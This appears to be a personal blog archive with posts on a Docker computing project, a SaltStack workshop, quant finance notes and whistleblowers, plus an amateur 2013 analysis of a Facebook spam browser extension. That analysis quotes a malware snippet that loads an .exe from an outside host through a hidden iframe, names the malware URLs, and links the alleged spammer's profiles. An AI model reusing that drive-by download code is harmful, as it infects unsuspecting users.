A user would just need to run the installer.sh script. Run it and grab a coffee mug. The server admin guy just needs to inject the distributed computing task in the docker image, and the server side code. [ Github: https://github.com/arcolife/dockerComp/ ]. Some screenshots below:

installation and first contact

communication and outage

References:

http://www.rightscale.com/blog/sites/default/files/docker-containers-vms.png
http://en.wikipedia.org/wiki/Docker_%28software%29#cite_ref-3

So, just to give you a context of this whole project, take a look at this project called CernVM. This is a really awesome project, developed to help collect CERN’s LHC data and perform data analysis on a volunteer’s computer or even on commercial clouds. Just imagine if the whole process of using VM was dockerized!

FEATURES

Can be used for:
- Image Processing
- General Data Analysis
- Scientific Computing
- CrowdSourcing projects.

FUTURE GOALS

More ease of use to be added in future as a pluggable dockerized distributed computing framework.
Integrations to Docker Compose and Swarm for scalability.
Security Layers
Sample distributed system apps packaged along
Possible Integration with CernVM
Integration with tor n/w and intelligent task distribution with independent cluster management.
Plugin for mounting FuseFS inside docker, in non-privileged mode
OpenVPN based tunnel integration
More Optimizations in terms of Task Distribution redundancy
Release benchmarks and comparisons with existing methodologies.

Saltstack workshop – Kya aapke Stack mein Salt hai?

2015-08-29T15:50:07.000Z

Helped Krace and Saravana organize SaltStack workshop today at Redhat office, Bangalore (IN) [meetup link: Workshop on SaltStack] with a count of around 35-40 participants. The aim was to give a hands-on intro to concepts of salt stack, like minions, master, grains, pillars, state files, salt modules.. However, due to time constraints, some installation problem diagnosis and interesting questions being put up actively by a few, all topics could not be covered. Although my doubts were cleared, thanks to Krace and Saravana for putting effort and time into the presentation!

(Pic credits: Mehtab Alam)

The workshop included setting up a master and minions inside the VMs, letting them communicate, checking node status and then installing a “hello world” nodejs based systemd service. The source code used, was from this github repo

During a tea break, I and Shubhendu talked about how SaltStack is being used within Red Hat and also, a brief introduction to culture and departments within RH BLR office. Also had some nice discussions about comparisons between Puppet, SaltStack and such.

Kya aapke Stack mein Salt hai? XD (Joke meant for Indians)

This workshop, which was sponsored by Red Hat, was an effort on part of BangPypers meetup group (BLR Python community) and so, I would like to promote an event from PyCon here as well. Quoting an email from Krace:

As part of PyCon we’re organizing dev sprint. Dev sprint is one day intense coding event focussed on fixing bugs, enhancements, refactor, writing docs, test. You can work any of your personal project or open source projects like Django, Flask, Python. Only criteria is the open source project should be in Python and can use mix of other languages like JS, CSS, HTML.

If you or any of your friends/colleagues are interested, please pass on the email. In order to participate, you need to register the project here [0]. Later set of volunteers will get in touch with you for more details.

The Sprint will be held on Oct 2nd from 9Am – 7.30 PM on the 1st floor of the conference venue.

Once we close the CFP, we will make a list of the accepted projects and the participants will be able to choose from them while they participate in the event.

Last date for submission is Sep 4.

[0] – CFP for DevSprint – PyCon 2015

I’ve submitted the following proposals (list is not exhaustive; to be updated 😉 ):

Distributed Computing in Docker: DockerComp

See you there!

Cheers.

Note to Self: On Quants

2015-08-21T13:22:50.000Z

Quants | The Alchemists of Wall Street | VPRO documentary

Disclaimer: I’m not mentioning the source of quotes in the statements below. The video juggles between different quants, because obviously its a documentary. Not keeping a track of it for now, please watch the video in case the sources interest you here.

Notes from the transcription (includes the quotes):

one must’ve handful of skills to pay extra bills
a million dollar check ain’t enough either
a view drives prediction models, because you’re supplying the input. The term prediction is absurd.
1$ – 1 bottle; 100 bottles? non-linearity. market fluidity; consumption/production; maybe 80; maybe 200
you could always start by finding a job to build infrastructure around models if you don’t primarily fit the personality of a quant and it interests you and you need to continue being a technologist to earn a living while you burn the midnight oil.
sell software to investment bankers; get customers; build clustering models / correlation signals around insurance policies: whats the highest group average that leaves biggest dent; may determine frauds too
subprime mortgages -> financial products: attracts banks
sell big. this covers possible errors: maximize the profit margin
disasters happen when there’s low profit margin, combined with the quants saying that its alright, and then… . poof!! [2008]
understand the dangers involved with credit directives [mortgages for example]
relationship(interactions) between say a 1000 mortgages. how many correlations are there in a 2×2 combinations of these things? Answer: 1000*999/2 -> .5 million numbers. Lets assume all numbers are 0.6.. ridiculous model from sublime mathematical model. mistakes!!
4-5 years worth of data is not enough to base a mathematical model upon, as it doesn’t cover the economic cycle of data
common belief that everything’s gonna go up (by the amt of compensation).. leads to delusional minds: goal of everyone: 40 tak notes chaapo and stop.
if hedge fund drops (x % they take each year and put in their own a/c) when they loose it, it’s their client’s money.
people who take risks should be compensation, but not for taking risks with other people’s money. ridiculous. not economic
majority may not always be judicious and conservation while lending (context: mortages). Piles up leading to financial panic.
have to be wired, alert and engaged; have to be perfect and write all the time. Software CANNOT fail. A Lot of stress. Nightmares.
purpose of banks is becoming dangerous: new derivatives invented to hedge the value of a product. Banks used to do it. Farmers were busy growing it and not speculating prices. Now, people trade commodities and involved in production of these commodities. People in this business feel jaded now, but questioning ethical values on this kind of job.
http://www.quora.com/Henry-Wong-7/Investing-Quotes-and-Notes/The-Financial-Modelers-Manifesto
One should spend a lot of time in learning and reading “like a monk in a monastery”. Peaceful and effective indeed.
Express worries about what one is doing. It’s possible to do it in Finance and people should do it. Increasing financial crisis since 1994. People used to constant growth and acceleration. Every time it slowed down, government stepped in to stimulate growth by lowering interest rates. Given the rise and collapse, oscillations get bigger because of the habit of seeing continuous growth.
Economy shrinking by 1% is awful. Growing by 1% is fantastic. How can a 2% make a big difference in the world? Economists.. they think that they’re scientists so they come up with these what they call laws. They’re not laws. Gravity is a law. They build up this edifice of theory built upon a shaky foundation and they get all sort of nonsense coming out of it.
Money is a game that people make rules for. Day-to-day activities though involve trying to grow into a healthy group of animals. Big difference.
Everything eventually goes back to big bonuses. Know your history. Quants won’t be eliminated. Every model would still be there.
“I wanted to feel challenged again. Enrolled into a quant program. cost me $60,000 tuition. Means more debt that I now have to take on”. Can’t afford to loose a day to alcohol. No social life. Most candidates here are Asian; which means math is their first language and our common language. We Americans are a minority.
Everybody wants to move into this field. Scientific creativity is becoming financial creativity. Which is already bogus.
Quant is essential to modern banking; because so much of it is based upon new techniques like the latest thing is the algorithmic trading and high freq trading, of which you need math skills.
Used to be historically floor traders and workers, screaming and shouting.
Understand the consequences of High Frequency Trading. (put data on trays that last for milliseconds)
Hedge funds try to take the black box as close to an exchange as possible. Takes time for a signal from black box to get to the exchange to buyout or sell. Now of course, that is dictated by speed of light. Now we’re talking about trading at speed of light.
Classic crash of October’87. Happened within a day. Next one could occur within minutes
Black Box? takes in lot of data like stock prices, etc and tells what to trade o buy. Favorite is Google search term, trading based on what people are searching for.??
BB is almost hard to get for human mind. CS guys could wrap their hands around it. Like Goldman Sachs is a BB, or generally spoken of, as one.
HF trading is concerned with price, not value of something. Value is worth. Price is just what people buy and sell for. All you care for is price you sell it for > buying price. Nobody cares about value.
#UnitedAirlinesBankrupcy involed algo’s saying SELL SELL SELL. Frightening because human elements being divorced from banking essentials.
Banking is supposed to be to take money from people with too much -> people with business ideas. Now it’s only about gambling with numbers.
Jokes about NYSE becoming a museum. “way we used to trade” back in sensible days.
Quantitative methods do not suffice in general to explain markets. They’re not useless though. Discoveries made by Einstein, Feynman, Schrödinger and such explain God’s truth and based on a field where history repeats itself. In Finance, mostly the history doesn’t repeat itself..

The Financial Modelers’ Manifesto:

I will remember that I didn’t make the world, and it doesn’t satisfy my equations.
-> Maturity in understanding that in reality, the equation might not always be perfect

Though I will use models boldly to estimate value, I will not be overly impressed by mathematics.
-> People make finance too mathematical that after implementation, they don’t understand their own models.

I will never sacrifice reality for elegance without explaining why I have done so.
-> Its a competition b/w real and elegant world of math.

Nor will I give the people who use my model false comfort about its accuracy. Instead, I will make explicit its assumptions and oversights.
-> Quants are sometimes just told to “measure the risk in this portfolio”. It’s too big. Quants are told to redo the numbers and change the math to make it look less risky and come up with smaller numbers.

I understand that my work may have enormous effects on society and the economy, many of them beyond my comprehension.
-> This is a serious business. Feels like everyone is working to service the bank. Apparently the world of banking is changed now.

– Paul Wilmott and Emanuel Derman

“The Hippocratic Oath“

In the name of the father

2014-07-29T10:04:48.000Z

#noteToSelf. It’s just like this previous one and this one as well.

On Keith Devlin’s talk and the occurrence of Fibonacci numbers in nature and historical artifacts

2014-04-27T11:47:53.000Z

Se7en sins Plog

2014-04-27T11:33:03.000Z

“I have never b…

2014-03-18T08:58:15.000Z

“I have never belonged wholeheartedly to country or State, to my circle of friends or even to my own family. Such isolation is sometimes bitter, but I do not regret being cut off from the understanding and sympathy of other men. I lose something by it,to be sure, but I am compensated for it in being rendered independent of the customs, opinions and prejudices of others, and am not tempted to rest my peace of mind upon such shifting foundations.”

– Albert Einstein

Watch that video. Enough said.

2014-03-18T08:53:09.000Z

A YouTube video was embedded here (eOuyyWfznYw). It is no longer available.

Majestic, inspirational, supernatural and one of a kind, Lionel Messi!

10 Magisterial Dribble-Goals.

Confessions of a code-a-holic

2014-03-16T17:47:13.000Z

EDIT: Let me warn you: This post ain’t pretty. A serious attempt to digress has been made.

Ok, you may now continue reading.

That moment, when you start getting goosebumps and then the moment just doesn’t feel right and then you tweet something like this.

Grumpy Cat is right.

Well, you know you don’t wanna do it. Because the process is so nasty / convoluted / coiled up / intricate (courtesy: A Thesaurus! genius ). You know the process, you know the idea, you know the solution, but you JUST DONT WANNA DO IT! I mean, how difficult is it to give up? tad difficult when you have some interest in the project. And then you don’t wanna give in, because you have a freakin’ deadline to meet. You were a big time procrastinator once in life, and you know it, oh you know it for sure YOU.. that if you give up now, that haunted past of yours is gonna overtake you on the road of progress and misguide you to the road of hell.

Right now, self motivation is >> —- << here and your voluntary action-taking motivation is well, >> __ << here. (Get it?)

Btw this track is awesome *

You go on and read such posts and then think of some resolutions that you know wouldn’t work. at least, for now!

So what do you do?

Well, you keep listening to such awesome tracks as the one mentioned above and then move on to something more cheerful.
How about:

meanwhile you listen to all the crap that your neighbors are shouting, as a part of family drama and then decide to listen to these very awesome tracks on speaker and make it so loud, its hard for them to speak and argue anymore

Well, every story doesn’t have a happy ending, and I hope you must have guessed by now, that this post is an attempt to do away with personal in-memory rants and agitations. So, I have succeeded.

Signing off.

arcolife

PS 1:

There’s a sweet poem I’d like to quote from a Bollywood flick – ‘Zindagi Na Milegi Dobara’ (You only get one chance to live). Here it is:

“If you’re carrying your restlessness in your heart,
You are alive.
If you’re carrying the lightening of dreams in your eyes,
You are alive.
Like a gust of wind, learn to live free.
Learn to flow like the waves that make a sea.
Let your arms be wide open, to every moment you meet.
May every moment gift a new sight to greet.
If you’re carrying your wonder in your eyes,
You are alive.
If you’re carrying your restlessness in your heart,
You are alive.”

🙂

PS 2: This one does have a happy ending. You had to wait, didn’t you? ;]

☢ Fukushima: Beyond Urgent ☢

2013-11-05T14:58:08.000Z

A YouTube video was embedded here (WiBVBdM77s4). It is no longer available.

The Fukushima nuclear crisis and what is the government/society doing about it?

1. Repair work cannot be safely conducted without removing the water.
2. Metallic plates bolted instead of welded.
3. Farmers forcibly sell polluted vegetables.
4. cannot be controlled. Still leaks being detected.
5. Any mishaps now could cause nuclear explosion at far greater scales than seen.
6. Repair work cannot be safely conducted without removing the water.
7. In 6 years, as per the german marine research graphic, entire Pacific area, originating from the coasts, is predicted to be contaminated.
8. The whole experiment infrastructure is being built is it is being carried on.

no shit!

Ways to start-over with our Political Regimes?

2013-06-23T12:02:31.000Z

Dedicated to Thomas Drake, Edward Snowden and all those who’ve risked their lives, defending the truth & morality.

Also dedicated to the memory of Aaron Swartz.

Few months ago I watched this awe-inspiring video of Thomas Drake, the so-called ‘whistle-blower’ [ formerly a Chief Executive on the NSA ] in some US classified case regarding post 9/11 actions taken by the government.

And now it’s the “NSA’s PRISM” whistle-blower Edward Snowden [ and here’s yet another inspiring video ]

The way the governments work is a fact, mostly unknown. And agreed, it should be kept that way, but only as long as its ethical, humane and is not in corrupt, greedy hands. But obviously, such a thing isn’t possible! People-in-power eventually use others as the stepping-stones. Because corruption is the bitter truth of life. Mostly, those who’re at the demanding end of it, are responsible for it. And MOSTLY, they’re the Leaders.
Now if you need facts, I am not just another NSA/CIA/FBI/local police official (yeah it feels nice to quote all of these still “respected” agencies), who has access to facts, but being a common man, I can ascertain a logical path towards how I reached this conclusion. Leaders, have the power. If they feel threatened/weak/greedy, they panic (and believe me, those leaders who panic a lot, are not fit to be called leaders) OR/AND they order lower ranks that, as commonly is quoted in movies/sting-operations, “The_Work_Should_Be_Done_By_Tomorrow”. The lower ranks turn to their peers/juniors in the hierarchy and do the same, whether under pressure, or as is habitual for many. Hence, corruption spreads that way. Unless, someone from lower ranks has enough damn money to lure the upper ranks, it’s the leaders mostly.

Again, if you deny this argument, then I am (as usually the public is), left helpless. As an individual I am weak against Government’s unethical measures. But as a public, I ain’t. After all, those who’re the leaders, became one, through these public discussions, on the basis of trust ( and a little money-money thingy! eh? ). They won those very arguments on basis of rebuttals against the points put forth by their rivals. I read somewhere “civilization presupposes respect for the law”. But what happens, is due to pressure/greed, mostly the fire dies within their souls and they blend into the system, instead of changing it, as they were supposed to do.

But those who don’t, are called the “Whistle-blowers”

Anyways, my point being, transparency hardly exists. No one, mostly, no one ..is answerable to the public, if some fundamental flaws are brought to their attention. Even If some amendments are broken/purged.

‘Government’ though being just a term, includes a huge web of organizations, systems, norms, people, thought processes, law & enforcement strategies and technologies used to assist those methodologies.

The ‘democratic’ power is not to be misused. Benefits are of all kinds. If these are drawn out, from individual citizens, without them knowing about it, people get disturbed. If someone defends the truth, then, do the morals of those government officials just get diluted?
I’d say tell them to look upon their actions, to review what they’ve done and they’ll never respect themselves anymore.

Aaron Swartz was a good guy. Thomas Drake did not have to undergo that torture. These examples are increasing over the period of time.
Know why? 😐 Because governments are swiftly seeking more power and making undesirable changes in the structure of law.

From the interview of Snowden:

” ….If they wanna get you, they’ll get you in time. They’re the world’s most powerful intelligence agency!”
True! You don’t face them straight-up!

“….One wrong call (and a bad one) attended makes you suspicious. They just have to go back in time and scrutinize you.”

If we, the people, target those governments and demand answers, well I’m sure everybody knows their response to that!

Right now, it’s not just about Edward Snowden leaving everything behind to disclose the behavior and powers of government, locally and globally, It’s about him taking this path to make the general public aware about whats happening. And in my opinion, he did nothing wrong and has every right to disclose unethical governmental measures towards ways of public surveillance.

I don’t suggest starting a riot or something. I just demand from each one of you, all those to whom, I could reach out, to create such high levels of awareness about whats happening, that the governments are forced to conduct a poll or something, or at least revise their plan/course of actions, in order to restore peace and ethnicity around the world.

I shall again put forward this point (as once I did a while ago) that :

“Political leaders are public servants and should behave like one.”

Going out-of-bounds is not acceptable. No, Sir. Play nice, or people WILL bring you down. It’s in the hands of the governments, to maintain/restore peace, or further, stir public agitation.

I had taken steps previously, on whatever grounds, with whatever skills I possess at this point of time, to help make the world a safer place. So you see, It’s NOT ACCEPTABLE that I shall keep helping the governments / public, when they’re giving us this holier-than-thou treatment. (..and in 99.999999 % of the cases, the governments are/would-be wrong, not the public ! ).

Personally, I am not against anyone or anybody.
But these whistle-blowers do inspire me, to be a misfit.

A note to those who’re doing it wrong:-

Beware, of the public. These actions of yours, only lower our trust in you. If you tend to hide these activities, you’re risking everything you have. Remember, some of us are still young and have robust ideas. And the young blood is known to boil more. But we can also be patient enough, unless you disrupt our emotions/logical reasoning/conceptual school of thoughts. Let the “Do No Disturb” tags keep hanging on our doors or people will remove yours, eventually.

PS:- Quickly, now remember the steps i took on my own part. I ain’t a bad guy. 🙂
[ yeah I was just promoting my other post. Now, Alright? ]

Peace out.

A little probe into the Facebook spam “Add plugin to update your browser”

2013-06-20T23:23:30.000Z

—————————————— DISCLAIMER —————————————————-

this research might contain sensitive data. Since all data has been exposed by the hacker, I take no responsibility, whatsoever for any kind of data. It was already publicly available.

Also, if some of my findings are wrong, it might be just be the case. I did this for the first time, was half asleep , and excited about my findings.

I am a student, and have nothing to hide (as a hacker). This was purely a research based chase up & academically driven curiosity. I never hosted any illegal data/code, never executed the script and never contacted anyone, whomsoever, may have been involved in this spam.

If you feel some terms have been used inappropriately, please leave a reply, and I’ll correct them after reviewing the suggestion myself.

A note to the Frankenstein:

Hey hacker – Sorry for this (if you shall ever read it) But you just spammed through my friend’s account. And I was equally vulnerable. I was tagged on the fb post and then i found all this crap you made. Go find some clean methods of making money.
And you know what, It is my friend’s birthday today. And he had to apologize to all those tagged ( by all, i mean, a lot of people, he has more than 1000 friends ! )
So, deal with it. I don’t know about the end results, but, you scoundrel ! burn.

——————————————————————————

*Pssss! hey friend, why you no have 10,000 friends? 😀

——————————————————————————-

Kindly ignore the formatting. I am not getting paid to do this work, hence don’t care !
[ Wrote this in emacs, used some arbitrary line separation arts and bla bla bla…

Don’t fret on it. Even If you do, i won’t give a damn. ]

possible motivation for hacking >
the guy is motivated by some freedom movement or is a part of a group of hackers, or is just fooling around.

*damn, such a good guess! 😀

hence the message on http://www.kristysteinhaus.com/ in Arabic –
translated:
” We do not know do not accept the threat of mercy
You freedom of expression, Crown Althecar – ”
when googled, Crown Althecar gave link to http://www.sgvv.net/newsdetail.php?id=10
which is actually a hacked website giving a similar message and contains words

like “victim”

ORIGIN :
FB spam http://bb1.co/1005090059 -> redirects to -> http://sarjad.net/theme/id/images/firefox.php
The link says its a browser update and is an add-on, asks us to reload and click update. This then hacks the logged in accounts & starts posting stuff from the victim’s accounts.
The update button actually points to -> http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi

PS: At this stage, people should’ve made some sense out of the URL, before clicking update, atleast check if its from a genuine origin! Anyways..

..so I downloaded and unzipped the spyware. This contained scripts for spamming FB profiles, for infecting Firefox, Chrome, Opera & Safari browsers..
The spammer goes by the handle CasperCrazy (the guy just gave his name in the script file, so sophisticated ! even for a spammer, man he’s decent! the script even contained proper comments & formatting 😀 )

A few searching, i got a few links, out of those,

one is -> http://board.airrivals.net/user/21734-caspercrazy/
another one http://www.dl4hack.com/forum/members/caspercrazy.html

(more mentioned below..)

on further research, i found out, he has also hacked other websites previously and likes to leave his footprints, like on this one:

http://www.kristysteinhaus.com/

and this one http://www.zone-h.org/mirror/id/16635059

http://cdpheritage.org/hacked-by-casper-crazy-here-is-what-i-did-and-why-it-worked/

A small video, shows a girl narrating an incident about how her blog showed hacked one day and when she contacted her geeky boyfriend, he gives her a link which fixes her blog.

She says the link is below the video = > is this another trick? is the girl involved ? when she says its fixed ( and i am hoping she is talking about this link , which still shows hacked, http://www.kristysteinhaus.com/ ), is she promoting something??

However this website clarifies the hacks and also talks about the banking info leaks, as on:

https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1

..which was given in one of the profiles, of this hacker.

Anyways, This hack which i probed into, is a pretty good way of spamming, and earning money ( which is obvious when i viewed an html file i got from one the spyware links, its written there in French :
“Earn a lot of money in a short time thanks to this system”

Although his profile links suggest he’s linked to anonymous, but i doubt he’s just trying to fool around and earn money through spamming / phishing/ Social engineering.

===========================

Associated Links [ ..those which i could search in the little time i had, you know, to waste! 🙂 ]
https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1
https://www.facebook.com/marouankadiri
http://marouan400.wix.com/haker

Tweets by MarouanKadiri

https://plus.google.com/u/0/116155563105873753223/posts
http://marouan13.wordpress.com/author/marouankadiri/
https://www.facebook.com/pages/Hacker/447686008637563
http://mcbawse177.appspot.com/pastebin.com/u1a6Lxib
http://www.hackarat.jw.lt
http://www.dl4hack.com/forum/members/caspercrazy.html
http://www.reflectgames.com/users.php?id=39481
http://china-cheats.com/member.php?u=6142
http://www.youtube.com/user/crazhacker?feature=watch
https://code.google.com/p/crazyjacks/

============================
reported to :
1. Google https://www.google.com/webmasters/tools/spamreport?hl=en
2. StopBadware – https://www.stopbadware.org/report-badware

===========================
http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi

the directory structure of the spyware is:

6 directories, 19 files

uses the chrome.manifest file as follows:

content filecasper content/

overlay chrome://browser/content/browser.xul chrome://filecasper/content/filescript.xul

uses the Greasemonkey API , uses code from https://code.google.com/p/crazyjacks/

See the commit activity here, it implies its been used recently, also this hack surfaced recently.
Also, the spam link -> http://sarjad.net/theme/id/images/ribbons/urlgen.php -> is present in one of the js files -> new-post.js is a proof this google code repo is used for spamming.

The same repo contains an executable Facebook-V5.0.2.exe spyware ? ( i didn’t execute it yet, to see what happens)

..anyways, the snippet is :

Cookies.init();
if(Cookies.read(“exe_server”) === null) Cookies.create(“exe_server”, “wakhaa”, 30);
if(Cookies.read(“exe_server”) != “baraka”) {
var iframe = document.createElement(‘iframe’);
iframe.style.display = “none”;
iframe.src = “http://crazyjacks.googlecode.com/files/Facebook-V5.0.2.exe?r”+Math.floor(Math.random()*1000000000000);
document.body.appendChild(iframe);

Cookies.create(“exe_server”, “baraka”, 30);

….suggests its using this exe to post stuff from new-all.js (maybe?)
I didn’t read the code properly, just guessed,

Since, I haven’t fully analyzed it all yet, may be you could help me out? ( I do not have whole day just for this ! )

so once again, all code i could get is present on :
https://code.google.com/p/crazyjacks/ ,
http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi
&
http://sarjad.net/theme/id/images/firefox.php

I used wget to download it safely, unzip on cmdline to inflate the .xpi file, inspect element to observe related JS & links & images being loaded.
For those “who wish to try this at home”, use these precautions (and maybe more? ) or you might end up being a victim ! 😕
Hope, an expert is reading this. I am just too curious about this hack, since this is my first spyware research exploration & back tracking experience.
Help me out & keep me posted 🙂

=========================================================

The System of entitlement to credit for a breakthrough

2013-02-26T19:59:31.000Z

What is the degree/extent of the decision criteria, as to who all are entitled to receive a due credit for an invention/discovery/breakthrough?

Here’s a statement – Every matter in this world is related to one another. Our actions affect the very presence of another life-form;

“..it is not uncommon for one philosopher to accuse another’s arguments of entailing solipsism as an unwanted consequence, in a kind of reductio ad absurdum..” #metaphysics

For example: lets talk about Alan Turing, if it were not for the Enigma Machine, and the German naval cryptanalysis, Alan would’ve never tried to break the codes and invent the Turing Machine, and be the pioneer for Artificial Intelligence and modern computers.

If it were not for his father’s lessons on explosives, Alfred Nobel would’ve never got interested in explosives, thus the possibility of perhaps a late discovery of dynamite or maybe something else.

So is it that the credit is decided only on basis of who presented the output and seems to be the strongest contender? Why not a system of credit developed to give some amount of recognition to those who affected the path to success?
Because the same applies to the law. When a crime is committed, the laws consider all those who were involved and are asked to give an explanation..

so going back to the question, who decided this credit-giving extent or is it just the idea implanted and carried-on from generations? (Consider the Sorites paradox – here solution depends on our way of comprehension)

PS: I’ve asked this on Quora too. Lets wait for answers now..